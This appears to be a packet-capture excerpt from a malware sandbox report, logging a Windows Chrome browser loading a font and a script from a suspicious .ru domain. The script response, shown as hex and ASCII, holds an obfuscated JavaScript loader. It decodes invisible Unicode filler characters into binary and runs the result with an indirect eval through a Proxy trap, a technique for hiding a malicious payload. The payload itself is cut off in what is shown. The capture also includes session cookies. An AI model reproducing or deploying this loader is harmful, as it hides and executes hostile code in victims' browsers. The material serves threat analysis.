kEVvz;dzfpF!t^ri5[+}h,6-\_\iQFNl+?'CUiHl>>3nQ[g[fvC3`$f";'Rh;qI~!:LLw?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.16	49747	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:14 UTC	1394	OUT	GET /GDSherpa-vf2.woff2 HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive Origin: https://grupomarina.brightnexst.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjI4b0N4cTAvWllwVzAxWEVkaEpCQnc9PSIsInZhbHVlIjoiUDJGTmVSazA1d1Y2U2NOZzJZZlNDSkZtSTNjRUZmQiszc0FzdHpkUXE4Z2RrK3RjN0FnOUhGa0tKVlllM0ZXYytmaC8zajFZeFlsMUFSSXFuaElPQ3psTWVUcDc5QVlxMUdhanpqRW9KT1Uwa1dBUUFXcHFsYjZnaWVLU3JnK1kiLCJtYWMiOiJiZjViMTUxNTdmN2U1N2QwNDgwZmIxMWFmZGM3N2Q1MjU3M2ExYzZmY2ZkN2JmNGM0YzU0MTZiNDM0MTVmZWQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5IMCthcU5iZ2I3SExSdzJoNFJUU3c9PSIsInZhbHVlIjoiN2VqZmVNQm9zbDhJenZIanphOEltNzEvaW9VcytsMXEyQmFLWnpzV0hUeU1ZM0MwMUFScFJlZXRveXp0TzdtdGJKK3Rrc2J1S2xWWWJxT3poUVpwTjVtMDhQbjU4WFRJZG9vRWpUQ3EyUjFwZU0ybFI5YUZwMmk5Y05oVHRyTWgiLCJtYWMiOiI3YjMzMmQ3ZmRkOWE4ZjE2N2EyZTcxMDRiMjRkNTAwNzMxNDcwNDMwYTIwZmViZmY0NjU2OGM0Zjc3ZmZhOGQxIiwidGFnIjoiIn0%3D
2025-03-17 20:55:15 UTC	935	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:15 GMT Content-Type: font/woff2 Content-Length: 93276 Connection: close Server: cloudflare Accept-Ranges: bytes Content-Disposition: inline; filename="GDSherpa-vf2.woff2" Last-Modified: Mon, 17 Mar 2025 20:55:14 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sb9Rn26c8mP8%2FJc8H5ua0ww1UwK7OC2bHNbgrJLP4W8nTUirIg9qy5K7t5OMg1TE8G2%2BSQSKFvrCTTTYaQ7beExaUTn5OjtwAjoRxox1kkBp8V4d0cVUzc2kMbJx"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server-Timing: cfL4;desc="?proto=TCP&rtt=1212&min_rtt=1161&rtt_var=538&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2305&delivery_rate=1839898&cwnd=251&unsent_bytes=0&cid=ad9eabce4fa8da34&ts=208&x=0" Cache-Control: max-age=14400 Cf-Cache-Status: MISS CF-RAY: 921f63dc0b8cb432-EWR alt-svc: h3=":443"; ma=86400
2025-03-17 20:55:15 UTC	434	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 01 6c 5c 00 14 00 00 00 04 b2 20 00 01 6b e0 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a a4 76 1b 83 bb 26 1c 93 24 3f 48 56 41 52 a0 6a 3f 4d 56 41 52 81 46 06 60 3f 53 54 41 54 81 36 27 38 00 91 18 2f 81 48 11 08 0a 81 f8 0c 81 d3 78 0b 89 1a 00 30 8b e7 3a 01 36 02 24 03 92 30 04 20 05 97 7a 07 a2 17 5b 12 9a 94 07 25 22 db df 13 ba a5 ab c1 a5 a2 a8 fe 21 df bb 49 da 54 19 b0 7f a9 77 90 21 63 9b 48 1d ce cd 74 1d 5d 6b a5 08 9e a7 0f c8 36 9d f1 82 43 79 c3 a8 7f 55 6c b7 72 65 ff ff ff ff ff ff 9b 92 49 8c e9 25 e8 25 f9 7f 00 15 44 45 b1 a0 ba ce 76 d3 69 ae 51 46 38 dc dd 84 83 d2 69 48 19 21 72 0a ca e2 f4 da d1 50 34 5a 5b b9 db ae 1d f6 5a 73 10 9e 89 b6 6f 06 0e 72 ef e2 38 62 1c 4f e8 Data Ascii: wOF2l\ kv&$?HVARj?MVARF`?STAT6'8/Hx0:6$0 z[%"!ITw!cHt]k6CyUlreI%%DEviQF8iH!rP4Z[Zsor8bO
2025-03-17 20:55:15 UTC	1369	IN	Data Raw: 4b ce cd d7 94 da c8 d9 5a 4a 77 dc 1e 1c e6 94 fa f2 5e 86 21 e5 cb 7b 3a 88 0f 3c 9b dd 60 4e e1 e2 68 da 14 30 c9 74 85 ab 4e 41 aa d7 2c 7f d0 ca 5d 8b 82 8e 97 b8 a4 16 c9 86 4f 6e f3 a3 ad 2f a5 14 58 7c 5f 3d a5 d4 d7 65 2c a5 74 53 f9 9b 33 5a e4 d5 71 5f 9e e9 8e e3 eb b5 27 46 5b f1 1b 6a 52 9e 3f 55 a2 82 6b a4 3a 2b 3b 19 fa 5a e1 63 6f 35 db 96 fc 6c ce b6 e7 b3 79 56 f6 4d 64 fd 97 34 cd aa 36 9b 7f bd e7 11 a3 7f b9 81 91 1c ff 4c 38 71 fb f9 88 5f c2 97 06 0d 41 58 a7 79 07 43 63 0a 0b 98 41 67 62 0a 19 61 b2 4b c2 88 da 97 1a 4e df b7 a5 0e c2 60 2d 16 ca 4e 09 62 a1 75 bb d6 e5 71 dc d0 69 0b 53 c2 7f c5 70 a5 96 6a 2a 13 fa d0 66 41 85 b2 ae b2 ba fa d8 3f 87 5a ae 45 65 af 7e 7c e3 83 5c a9 d4 54 5a 8a 5f aa 1f 8a 3f 92 2f 61 d2 36 34 Data Ascii: KZJw^!{:<`Nh0tNA,]On/X\|_=e,tS3Zq_'F[jR?Uk:+;Zco5lyVMd46L8q_AXyCcAgbaKN`-NbuqiSpj*fA?ZEe~\|\TZ_?/a64
2025-03-17 20:55:15 UTC	1369	IN	Data Raw: 18 25 51 23 86 44 0a 4a 98 88 51 98 f9 7e 94 be cf b7 5f 6d d1 58 9b 43 ac 9a ec ef 1d a2 f6 e2 82 98 95 48 a4 54 ef 24 42 22 54 b0 70 b3 90 e5 d0 53 52 3d fc 7f 2f f7 ef fd 14 73 02 79 87 75 ea 78 45 98 de 7d 3a 13 ef be 36 fb aa 20 8c 54 21 c9 57 f3 dd 6d 1a 18 46 3c c9 e4 9b d0 f4 25 bc bd 4d de de cd 6f 26 16 59 73 f8 7f ba 7c f5 4e e8 dc 74 7c 8a 31 dc ed 33 a9 b3 bb bf 68 08 1b 68 30 20 4d 2c 00 98 ff df 6c f6 a5 f5 28 4a 2a 5a e6 80 d0 18 0f df 8e 59 e3 e3 96 d6 19 13 fd dd e8 d5 bd ef d5 eb aa d7 05 6d 10 a2 bb 85 06 35 68 3e 82 31 0d c8 80 b4 86 57 55 0d 4d a3 99 83 5a ec 2e ea 6f bc 2b 60 35 bf 35 5a 83 b4 de fb dc 86 73 36 72 d9 a6 1b 6d b6 41 b8 a1 37 41 18 59 1b 24 0b ff af f7 a8 ab 1d 5d 06 32 bc 00 f8 f2 2a fd 76 93 81 34 fd 8b 3f 9e 8d a6 Data Ascii: %Q#DJQ~_mXCHT$B"TpSR=/syuxE}:6 T!WmF<%Mo&Ys\|Nt\|13hh0 M,l(JZYm5h>1WUMZ.o+`55Zs6rmA7AY$]2v4?
2025-03-17 20:55:15 UTC	1369	IN	Data Raw: f2 e6 70 d0 42 8c 29 7d bf fc 53 55 08 71 64 b7 f5 76 7e de bd 3e ef b3 ad d1 64 ac 45 09 43 4d 00 13 52 a1 14 c6 cc 39 08 81 94 e1 59 d7 41 b0 48 10 6c b7 4a 89 d6 52 1a 83 b5 38 47 18 ce 28 fa f1 6d 62 3a 8e 5f 24 09 69 4a 96 95 3c 5f 2c 8a 22 a0 2c a9 2a d7 b5 dd b6 78 18 ec b1 5e 60 b9 6c 9a ed b6 ef 0f 87 71 3c 1e a7 e9 74 2a 33 e7 f3 6a 75 b9 ac d7 58 18 26 74 49 c2 14 e5 05 34 8d a2 6e 37 96 85 90 e7 11 12 04 cb c2 93 84 99 ae 73 9c 69 f2 7d 8c a9 a9 cb 63 d2 d3 83 83 f3 f3 23 23 55 aa c4 44 a2 87 7e a8 81 3f 5f 2c 73 43 7f 99 98 34 f2 ba 8e 2b 7a 68 c0 f1 0f 2f 1e 6c 6a 7a 60 0c 13 89 88 62 3c 0e 61 b3 b9 df 8f 46 be bf 5e 13 41 92 56 2b c3 f8 7c 99 4c 34 9a cd 4e eb 24 e9 11 08 42 82 50 55 8a ca e7 09 22 9f a7 e9 02 b3 d7 4c 7f 80 16 b4 8e d1 da Data Ascii: pB)}SUqdv~>dECMR9YAHlJR8G(mb:_$iJ<_,",x^`lq<t3juX&tI4n7si}c##UD~?_,sC4+zh/ljz`b<aF^AV+\|L4N$BPU"L
2025-03-17 20:55:15 UTC	1369	IN	Data Raw: 33 02 6c b7 62 eb dc 50 aa db df 51 37 61 c3 6d 2b 1f 89 6c 26 ac 64 4c bb b3 c3 d4 b4 9e e6 82 bc 81 ef 9f 57 54 9b c0 44 44 18 6a cc b6 f5 ce 58 cb 9e 1c 62 8c 79 4e e5 92 a9 84 25 a6 64 7d 45 ab 35 b2 17 a9 3c 2b f7 b4 ef 9b 5a 8d 56 ad 6a 44 1f 3c 4c b0 5f 70 77 2b 24 24 29 f9 db 66 0a 23 d2 75 3b ee 1d 83 34 af ad 5d 97 4e 5b c4 29 32 19 5a 19 27 c7 8d 2c b0 1b e5 b8 3b a1 1e e8 db 43 9c 28 12 e9 8f 94 9e be b1 ce ec 7d 6b 9e 0e 08 0a 6d 48 76 35 f3 ac d3 99 dc 75 1c 44 2e 45 79 72 1a 2d 06 b5 32 1b d1 35 c1 96 32 78 32 69 75 bc e3 78 f5 9d 75 26 4e ba 1e 4c 62 e4 28 a2 fd c5 82 31 4f 15 e3 55 c5 6d 08 bd a7 f2 44 ba e3 32 32 28 17 53 0a ed 7f 7b c6 dc c7 36 a7 6b 52 2c 06 75 26 b3 e0 f1 37 9a 59 56 f6 22 67 3b 72 91 d4 8d dd ad a9 15 c7 f3 d0 c4 9b Data Ascii: 3lbPQ7am+l&dLWTDDjXbyN%d}E5<+ZVjD<L_pw+$$)f#u;4]N[)2Z',;C(}kmHv5uD.Eyr-252x2iuxu&NLb(1OUmD22(S{6kR,u&7YV"g;r
2025-03-17 20:55:15 UTC	1369	IN	Data Raw: e4 80 77 f2 e4 71 78 aa 0d 93 d0 11 8b 6c 8e 39 7b d9 62 0f ab 99 71 5b 25 5a a0 b1 8b d0 01 6a 9b a6 58 47 b9 db 32 e1 39 12 12 4d eb 04 87 1f d9 6d 71 2d 35 28 83 e7 2b b1 04 52 dc ec b4 04 6f d4 b1 f8 8c b7 46 8f 0d 17 76 b0 f0 4d 0f 84 f8 c8 1f 67 d5 c6 44 6c 4b 2e 28 09 98 c0 77 da a0 91 ab 9b 30 4e 8e 8e c2 6b 7d 3f 08 c7 2f 6b 38 d2 cc 44 8a 5a 24 a6 bc 4c cc 1a 21 5d 11 42 4a a8 fa 61 f0 68 8a a0 fa 12 1d 98 7e 7e f6 9b dc 69 52 13 28 9b cc e7 3c 9a 45 83 a6 6e 0b d4 0a 84 76 eb 6d 3c 1c 86 50 7a cb 2f f5 62 7e 4e 86 3c 61 39 c0 5c 76 aa 80 3c 64 93 3e d8 67 02 73 37 f0 c0 86 e3 33 28 a4 0c 7f ce ad 6f 7d 7b b8 ec ad dd 69 7f 71 bf c9 b7 53 42 1e 17 77 8d c1 6e 71 3a 70 c3 b7 ba fc b4 f7 d5 23 12 d4 03 ac 4f 04 d3 fc 8d b7 e5 25 78 11 f2 94 38 ea Data Ascii: wqxl9{bq[%ZjXG29Mmq-5(+RoFvMgDlK.(w0Nk}?/k8DZ$L!]BJah~~iR(<Envm<Pz/b~N<a9\v<d>gs73(o}{iqSBwnq:p#O%x8
2025-03-17 20:55:15 UTC	1369	IN	Data Raw: 44 5f 78 88 5b cf 4e f3 b8 70 1e d3 ed 25 43 1a e8 25 13 2b 5e b8 7f 0d 84 0f bb 88 fa ca 7e b0 b4 80 f9 34 ed d7 83 84 91 64 d9 17 00 f7 74 b6 fa 53 09 fb db 12 f0 46 d0 fe c6 5b eb a9 c2 9d 41 ab 1c 7c de 7f 33 ba d7 4c 0e 9c 51 f5 60 ca 00 ce 66 41 1b 16 27 7c 4c 29 b8 0a cf a2 44 8e 27 aa fd 56 54 28 ef d9 bb 0a 6b 67 a9 22 90 b6 f7 9c a2 17 d8 8b 15 9a 85 2b 39 06 dd b7 bf 19 b6 d4 21 80 7a 52 0e 50 e7 42 bb 6d 6d eb 0f b0 d5 1f d1 4d d2 16 71 19 4d 20 a4 4b 6a 93 8d 5a 1c 5c 24 68 6f 4d db cd ea 55 aa d6 44 9d 7d 46 d2 f8 1d 9a 35 91 de dd 83 bf af 9c 85 d5 b8 01 2d 92 5a bf 87 34 cd c0 3e 65 9e 2f 01 5a 66 15 4c 66 2a 54 35 47 19 d0 70 91 a6 15 9b 82 43 6d c1 ba 05 5c 5a 02 8e b2 3b 2d c1 a7 66 40 fb 6d 9e b9 36 6c a3 88 40 4e 4f 63 9f f6 bb e6 ac Data Ascii: D_x[Np%C%+^~4dtSF[A\|3LQ`fA'\|L)D'VT(kg"+9!zRPBmmMqM KjZ\$hoMUD}F5-Z4>e/ZfLf*T5GpCm\Z;-f@m6l@NOc
2025-03-17 20:55:15 UTC	1369	IN	Data Raw: 0c 2e 68 60 58 a0 38 e0 78 70 84 f0 36 2b 92 20 c4 c9 59 31 eb 42 a5 e1 99 b3 82 84 24 88 d4 83 20 69 c5 3a 5d d2 07 4b bf b7 26 1a 60 0b c5 28 4f 20 9b 5d 84 ed 82 66 f7 0b 21 e1 a0 f8 d3 1f 96 0d c5 11 ff 8f 92 e4 5a f9 40 6e 70 1d 27 b7 ba 85 97 3b 3c 83 e3 2b fe 26 e4 1b de e0 f3 5d ef 09 fb a1 8f 40 7e ec 13 b3 42 98 d1 89 eb 1a 2f cc 2c 9f ec 19 3f cc 0d 01 02 73 82 f2 97 42 b8 6e 8a 60 b9 25 66 c1 bf 38 ae 15 49 2c 66 dd 30 16 16 bb 38 56 1b 78 36 fd ec ec d6 71 70 d8 22 71 1a e0 e6 b6 55 e3 b5 51 e7 33 c0 cf 6f 9b 29 c0 20 28 48 2f 24 c4 20 2c 4c 2f 22 a2 1f 0c a6 17 15 35 20 26 66 83 2f a9 1f 06 73 f8 04 37 8c 40 d8 77 41 da 72 95 b6 eb 8e b2 e1 41 b0 46 46 46 bf ac ac 61 22 51 3f 89 64 1d 59 47 5d ed 9d 30 84 b2 21 83 70 76 cc 01 9b 17 87 88 90 Data Ascii: .h`X8xp6+ Y1B$ i:]K&`(O ]f!Z@np';<+&]@~B/,?sBn`%f8I,f08Vx6qp"qUQ3o) (H/$ ,L/"5 &f/s7@wArAFFFa"Q?dYG]0!pv
2025-03-17 20:55:15 UTC	1369	IN	Data Raw: af 76 84 9f 23 51 57 de 1e a5 db 58 86 72 f4 e5 de eb 31 90 cf b7 1f 0c be bc 0b 06 fe 8a 1e 00 0b d9 b4 8e a7 87 49 5c 88 64 4c 40 31 59 38 61 51 96 45 f1 56 22 a5 f2 71 de e2 35 b8 c4 a3 aa 66 f5 76 6a 31 f5 da 10 6b 7c 6c 2a 68 49 6b da 60 d7 3e ed e8 d4 d9 ba 8b c2 4f 45 2b 06 8b c3 27 14 87 41 50 0c 27 48 8a 66 58 8e 17 c4 f2 6e 72 e0 f2 f8 05 f5 0b 11 89 25 52 99 5c a1 54 a9 35 5a 5d bd 75 03 46 53 33 16 37 88 e4 0a 18 51 aa d4 a8 a6 16 0c d7 f9 26 f4 a4 c1 d8 d4 44 2f 08 41 58 92 09 65 5c 28 aa 56 ef 74 9f f8 f9 77 67 a1 a7 dc 42 49 a5 59 95 a1 5c c5 a9 0e 9b 7a 0d 1a fb bb 45 1f b2 0d c5 5e fe 1c ed b9 cf 1d b1 cb ff c3 15 19 4b 45 99 72 f4 55 91 1e 19 a8 c4 54 55 2d b1 51 87 b3 90 16 ef e0 7c b5 01 7f 11 bf fd 9d cd c4 b3 07 50 b3 bc 50 30 a7 d7 Data Ascii: v#QWXr1I\dL@1Y8aQEV"q5fvj1k\|l*hIk`>OE+'AP'HfXnr%R\T5Z]uFS37Q&D/AXe\(VtwgBIY\zE^KErUTU-Q\|PP0
2025-03-17 20:55:15 UTC	1369	IN	Data Raw: 9a cf d0 9a 90 f5 68 c8 f5 5f 0e 09 57 64 88 f8 f7 4c 10 00 dd 83 a3 b9 29 ac 48 a7 c6 e5 61 cb ad 07 3a 3c ec d0 28 67 6d 53 4b cf 65 79 8e f5 c3 6b 6d b6 cb f8 97 ac 58 1f 71 7d a6 ef 54 59 ca 49 48 80 16 39 e0 53 09 c5 10 a0 2a 28 4d 42 ad da 57 fd 14 9a b9 0f 82 fd 80 a1 f5 4c 4e 48 ac 48 4b 55 a0 d1 f7 cd d7 1e 74 22 11 52 ab 74 84 d1 0a 56 6c 63 b5 55 89 a8 12 aa 95 54 9d 1a 14 55 bb 46 c3 aa 4d d3 9d ee 6f 91 57 5f 85 0d ae 9a 62 e2 74 f7 e3 b0 6f 8f ba 1a 4e 99 aa 26 a6 54 2a 66 b8 7c 9b f0 7f eb 2e 3a aa fc 56 2c ba f2 bd 1e 80 21 ff a4 1f 3f f8 fc 59 10 02 01 08 c3 1f 53 20 12 3a ff f4 e0 2a 3e 11 86 58 d0 a7 4b a4 9f 30 43 2a 57 1e f9 93 b6 18 71 90 82 a9 f1 87 99 45 9f 7c 1f 16 c8 19 c3 d1 38 d4 bd 9b 88 dd 02 1a a8 c3 84 0f 01 e8 45 a9 cb 78 Data Ascii: h_WdL)Ha:<(gmSKeykmXq}TYIH9S(MBWLNHHKUt"RtVlcUTUFMoW_btoN&Tf\|.:V,!?YS :>XK0CWqE\|8Ex

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.16	49748	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:14 UTC	1382	OUT	GET /56clAjKv8GzXCyBZTPvhSGijqFC51GKJLn0iz7It89110 HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjI4b0N4cTAvWllwVzAxWEVkaEpCQnc9PSIsInZhbHVlIjoiUDJGTmVSazA1d1Y2U2NOZzJZZlNDSkZtSTNjRUZmQiszc0FzdHpkUXE4Z2RrK3RjN0FnOUhGa0tKVlllM0ZXYytmaC8zajFZeFlsMUFSSXFuaElPQ3psTWVUcDc5QVlxMUdhanpqRW9KT1Uwa1dBUUFXcHFsYjZnaWVLU3JnK1kiLCJtYWMiOiJiZjViMTUxNTdmN2U1N2QwNDgwZmIxMWFmZGM3N2Q1MjU3M2ExYzZmY2ZkN2JmNGM0YzU0MTZiNDM0MTVmZWQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5IMCthcU5iZ2I3SExSdzJoNFJUU3c9PSIsInZhbHVlIjoiN2VqZmVNQm9zbDhJenZIanphOEltNzEvaW9VcytsMXEyQmFLWnpzV0hUeU1ZM0MwMUFScFJlZXRveXp0TzdtdGJKK3Rrc2J1S2xWWWJxT3poUVpwTjVtMDhQbjU4WFRJZG9vRWpUQ3EyUjFwZU0ybFI5YUZwMmk5Y05oVHRyTWgiLCJtYWMiOiI3YjMzMmQ3ZmRkOWE4ZjE2N2EyZTcxMDRiMjRkNTAwNzMxNDcwNDMwYTIwZmViZmY0NjU2OGM0Zjc3ZmZhOGQxIiwidGFnIjoiIn0%3D
2025-03-17 20:55:14 UTC	1101	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:14 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="56clAjKv8GzXCyBZTPvhSGijqFC51GKJLn0iz7It89110" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tREx%2F7F7gsDq6pvhL9UtDqYOGIlB9c0Zp7DzMcGIXH309l4cc%2B4PFlhWiVturuwJILizDcSX0ioMVbodN0vJ32hXccTyy6YYZrhlyvQtt%2FDl6AHoId1p2dma1mmB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1491&min_rtt=1096&rtt_var=693&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2293&delivery_rate=2642335&cwnd=246&unsent_bytes=0&cid=6e0986b10835eb57&ts=81&x=0" vary: accept-encoding Server: cloudflare CF-RAY: 921f63dc3aa0b734-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=15360&min_rtt=1677&rtt_var=8875&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2834&recv_bytes=1954&delivery_rate=1741204&cwnd=119&unsent_bytes=0&cid=18e0a6af5d54f86b&ts=395&x=0"
2025-03-17 20:55:14 UTC	268	IN	Data Raw: 33 37 39 62 0d 0a 66 75 6e 63 74 69 6f 6e 20 64 65 63 6f 64 65 41 6e 64 45 76 61 6c 75 61 74 65 28 6b 65 79 29 20 7b 0d 0a 20 20 63 6f 6e 73 74 20 62 69 6e 61 72 79 53 74 72 69 6e 67 20 3d 20 5b 2e 2e 2e 6b 65 79 5d 0d 0a 20 20 20 20 2e 6d 61 70 28 63 68 61 72 20 3d 3e 20 4e 75 6d 62 65 72 28 27 ef be a0 27 20 3e 20 63 68 61 72 29 29 0d 0a 20 20 20 20 2e 6a 6f 69 6e 28 27 27 29 0d 0a 20 20 20 20 2e 72 65 70 6c 61 63 65 28 2f 2e 7b 38 7d 2f 67 2c 20 62 79 74 65 20 3d 3e 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 70 61 72 73 65 49 6e 74 28 62 79 74 65 2c 20 32 29 29 29 3b 0d 0a 20 20 0d 0a 20 20 28 30 2c 20 65 76 61 6c 29 28 62 69 6e 61 72 79 53 74 72 69 6e 67 29 3b 0d 0a 20 20 72 65 74 75 72 6e 20 74 72 75 65 3b 0d 0a 7d 0d 0a 0d 0a 63 Data Ascii: 379bfunction decodeAndEvaluate(key) { const binaryString = [...key] .map(char => Number('' > char)) .join('') .replace(/.{8}/g, byte => String.fromCharCode(parseInt(byte, 2))); (0, eval)(binaryString); return true;}c
2025-03-17 20:55:14 UTC	1369	IN	Data Raw: 3d 20 7b 0d 0a 20 20 67 65 74 3a 20 66 75 6e 63 74 69 6f 6e 28 5f 2c 20 70 72 6f 70 29 20 7b 0d 0a 20 20 20 20 64 65 63 6f 64 65 41 6e 64 45 76 61 6c 75 61 74 65 28 70 72 6f 70 29 3b 0d 0a 20 20 20 20 72 65 74 75 72 6e 20 74 72 75 65 3b 0d 0a 20 20 7d 0d 0a 7d 3b 0d 0a 63 6f 6e 73 74 20 76 69 65 77 73 65 6e 20 3d 20 6e 65 77 20 50 72 6f 78 79 28 7b 7d 2c 20 68 61 6e 64 6c 65 72 29 3b 0d 0a 76 69 65 77 73 65 6e 5b 22 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef Data Ascii: = { get: function(_, prop) { decodeAndEvaluate(prop); return true; }};const viewsen = new Proxy({}, handler);viewsen["
2025-03-17 20:55:14 UTC	1369	IN	Data Raw: a4 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be Data Ascii:
2025-03-17 20:55:14 UTC	1369	IN	Data Raw: e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 Data Ascii:
2025-03-17 20:55:14 UTC	1369	IN	Data Raw: 85 a4 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 ef be a0 ef be a0 e3 85 a4 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 ef be a0 e3 85 a4 e3 85 a4 ef be a0 e3 85 a4 e3 85 a4 ef be a0 ef be a0 e3 85 a4 ef be a0 e3 Data Ascii:
